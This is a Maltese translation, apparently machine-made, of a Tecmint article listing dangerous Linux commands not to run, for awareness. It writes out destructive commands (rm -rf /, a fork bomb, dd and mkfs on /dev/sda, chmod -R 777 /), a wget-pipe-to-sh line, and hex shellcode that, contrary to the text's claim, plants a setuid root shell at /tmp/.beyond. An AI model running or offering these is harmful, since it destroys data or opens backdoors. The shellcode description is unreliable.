Kmandi Ħafna Perikolużi - Qatt M'għandek Teżegwixxi fuq Linux


L-interface tal-linja tal-kmand hija utilità qawwija u utli għall-amministrazzjoni ta 'sistema Linux. Jipprovdi mod veloċi u versatili tat-tħaddim tas-sistema, speċjalment meta jiġu mmaniġġjati sistemi bla ras li m'għandhomx interface grafiku.

Filwaqt li utli fil-ġestjoni tas-sistema tiegħek, il-linja tal-kmand hija mimlija riskji. It-tħaddim ta' kmandi ħżiena jista' jikkawża ħsara u ħsara li ma tistax tiġi rkuprata lis-sistema tiegħek. F'din il-gwida, għamilna lista ta 'wħud mill-kmandi l-aktar riskjużi li m'għandekx taħseb li tesegwixxi fis-sistema tiegħek.

1. rm -rf/Kmand

Il-kmand rm huwa kmand Linux użat biex iħassar fajls u direttorji skont l-argumenti użati. Madankollu, għandha tittieħed kawtela estrema meta tuża l-kmand rm peress li typo żgħir jew żball jista 'jirriżulta f'ħsara tas-sistema li ma tistax tiġi rkuprata.

Meta jiġi esegwit bħala għerq bl-għażla -rf /, il-kmand iħassar b'mod rikorsiv il-fajls u d-direttorji kollha fis-sistema tiegħek billi jibdew mill-għerq (/) li huwa l-ogħla fil-Linux Struttura tal-Ġerarkija tal-Fajl. Fil-qosor, il-kmand rm -rf / iħassar kompletament is-sistema tiegħek li tirriżulta f'sistema miksura u li ma tistax tiġi rkuprata.

Xi wħud mill-għażliet użati mal-kmand rm huma.

  • kmand rm fil-Linux jintuża biex iħassar fajls.
  • rm -r kmand iħassar il-folder b'mod rikorsiv, anke l-folder vojt.
  • rm -f kmand ineħħi 'Aqra biss File' mingħajr ma jistaqsi.
  • rm -rf/: Forza t-tħassir ta' kollox fid-direttorju tal-għeruq.
  • rm -rf * : Forza t-tħassir ta' kollox fid-direttorju attwali/direttorju tax-xogħol.
  • rm -rf . : Forza t-tħassir tal-folder u s-subfolders attwali.

Fil-fatt, meta tmexxi l-kmand bħala utent regolari, ikollok żewġ twissijiet fuq it-terminal.

Biex tegħleb it-tħassir aċċidentali tal-fajls mill-kmand 'rm', oħloq alias tal-kmand 'rm' bħala 'rm -i' fil-fajl \.bashrc, se titlobek tikkonferma kull tħassir.

2. :(){:|:&};: Kmand

Dan ta 'hawn fuq huwa fil-fatt bomba tal-furketta. Topera billi toħloq funzjoni msejħa :, li ssejjaħ lilha nnifisha darbtejn, darba fl-ewwel tagħrif u darba fl-isfond. Il-funzjoni tesegwixxi ripetutament u meta tagħmel dan, tikkonsma r-riżorsi kollha tas-sistema li tirriżulta f'ħabta tas-sistema.

Fil-fatt, kmand tal-bomba tal-furketta huwa essenzjalment forma ta 'attakk DoS (Denial-of-Service). Huwa wkoll imsejjaħ il-virus Wabbit jew Fenek. L-agħar parti hija li m'għandekx bżonn tkun għerq biex tniedi dan l-attakk.

B'xorti tajba, tista 'tipproteġi lilek innifsek minn dan l-attakk billi tillimita n-numru ta' proċessi mmexxija minn utenti lokali għal madwar 4000.

Tista 'tagħmel dan billi tħaddem il-kmand:

$ ulimit -S -u 4000

Aktar tard tista' tivverifika dan billi tuża l-kmand:

$ ulimit -u

3. kmand > /dev/sda

It-tħaddim ta' kmand segwit minn >/dev/sda jissostitwixxi l-blokk /dev/sda fuq il-hard drive tiegħek. Din il-blokka fiha data tas-sistema tal-fajls u meta tinkiteb mill-ġdid, tirriżulta f'sistema bil-ħsara li hija irrekuperabbli.

4. mv folder /dev/null

Operazzjoni oħra ta' ħsara li m'għandekx tipprova hija li ċċaqlaq direttorju jew fajl għal /dev/null. Il-fajl /dev/null huwa tip speċjali ta' fajl magħruf bħala l-apparat null jew it-toqba sewda. Kull ħaġa li titmexxa għal /dev/null tintrema u tinqered.

Il-kmand li ġej iċċaqlaq il-kontenut kollu tad-direttorju tad-dar tal-utent għal /dev/null, u b'hekk jarmi d-dejta kollha li tinsab fid-direttorju tad-dar tal-utent.

# mv /home/user/* /dev/null

5. wget http://malicious_source -O- | sh

Il-kmand wget huwa kmand li jniżżel fajls minn web jew file server. Il-kmand t'hawn fuq iniżżel skript minn sors malizzjuż u mbagħad jesegwixxih.

6. mkfs.ext3 /dev/sda

Il-kmand mkfs joħloq sistema ta 'fajls ġdida (jew ext2, ext3, ext4, eċċ) fuq apparat ta' ħażna ifformattjat, f'ħafna każijiet partizzjoni ta 'hard disk drive. It-tmexxija tal-kmand mkfs fuq partizzjoni timsaħ id-dejta kollha maħżuna fiha.

Filwaqt li huwa utli fl-ifformattjar diviżorji tad-disk, l-ifformattjar ta 'drajv kollu (bħal mkfs.ext3 /dev/sda) jikkraxxja s-sistema u jħalliha fi stat irrekuperabbli. Dan jiġri minħabba li jeqred il-fajls kollha tas-sistema flimkien mad-dejta personali tiegħek.

Il-kmand jista' wkoll jieħu forom oħra kif muri hawn taħt.

# mkfs.ext4 /dev/sda
# mkfs.xfs /dev/sda
# mkfs.btrfs /dev/sda

7. > Kmand tal-fajl

Il-fajl > iħassar il-kontenut tal-fajl u jħallih vojt. Huwa sinonimu mal-qtates /dev/null > kmand tal-fajl. Għalhekk għandha tingħata attenzjoni meta jintużaw l-operaturi ta' direzzjoni mill-ġdid f'sistema Linux.

Hawn taħt hawn turija ta' kif dan il-kmand jissostitwixxi fajl ta' test. Tista 'timmaġina d-diżastru li dan il-kmand jikkawża meta l-fajl involut ikun fajl ta' konfigurazzjoni.

8. ^foo^bar

Il-kmand ^foo^bar huwa perikoluż daqskemm huwa utli skond kif jiġi esegwit. Filwaqt li jippermettilek teditja kmandi esegwiti qabel u tesegwixxihom mill-ġdid, jista 'jkun diżastruż jekk m'intix ħerqan dwar il-bidliet li saru lill-kmandi qabel ma tmexxihom.

9. dd if=/dev/random of=/dev/sda

Il-kmand ta 'hawn fuq jimsaħ il-blokk /dev/sda u jikteb data junk każwali lill-blokk. Is-sistema tiegħek titħalla fi stadju inkonsistenti u li ma jistax jiġi rkuprat.

10. Chmod -R 777 /

Filwaqt li jista 'ma jikkraxxjax immedjatament is-sistema Linux tiegħek, il-kmand chmod -R 777 / jassenja b'mod rikorsiv il-permessi kollha (taqra, tikteb u tesegwixxi) lill-fajls kollha fis-sistema Linux tiegħek li jibdew mill-għerq.

Dan jesponi b'mod effettiv il-fajls ta 'konfigurazzjoni kritiċi kollha u fajls oħra għall-utenti kollha u dan joħloq riskju ta' sigurtà enormi għas-sistema tiegħek. Kull min għandu intenzjonijiet ħżiena jista 'jgħaqqad fajls kruċjali u faċilment ikisser is-sistema tiegħek.

11. Il-Kmand Moħbi

Il-kmand ta' hawn taħt mhu xejn ħlief l-ewwel kmand ta' hawn fuq (rm -rf). Hawnhekk il-kodiċijiet huma moħbija f'hex sabiex utent injorant jista 'jiġi imqarraq. It-tħaddim tal-kodiċi hawn taħt fit-terminal tiegħek se timsaħ il-partizzjoni tal-għeruq tiegħek.

Dan il-kmand hawn juri li t-theddida tista 'tkun moħbija u normalment ma tinkixef xi kultant. Trid tkun konxju ta’ dak li qed tagħmel u x’se jkun ir-riżultat. Tiġborx/tħaddem kodiċi minn sors mhux magħruf.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Nota: M'għandekx tesegwixxi l-ebda kmandi ta 'hawn fuq fit-terminal jew il-qoxra tal-Linux tiegħek jew fuq il-ħabib jew il-kompjuter tal-iskola tiegħek. Jekk trid tittestjahom, mexxihom fuq magna virtwali.

Kwalunkwe inkonsistenza jew telf ta 'dejta, minħabba l-eżekuzzjoni tal-kmand ta' hawn fuq se jkisser is-sistema tiegħek li għaliha, la l-Awtur tal-artiklu u lanqas Tecmint ma huma responsabbli.

Dak kollu għalissa. Dalwaqt se nerġa’ nkun hawn b’artiklu ieħor interessanti intom intom se tħobbu taqraw. Sa dakinhar Ibqa' sintonizzat u konness ma' Tecmint.

Jekk taf xi Kmandi Linux Perikolużi oħra bħal dawn u tixtieq li nżiduhom mal-lista, jekk jogħġbok għidilna permezz tat-taqsima tal-kummenti, u tinsiex tagħti l-feedback siewi tiegħek.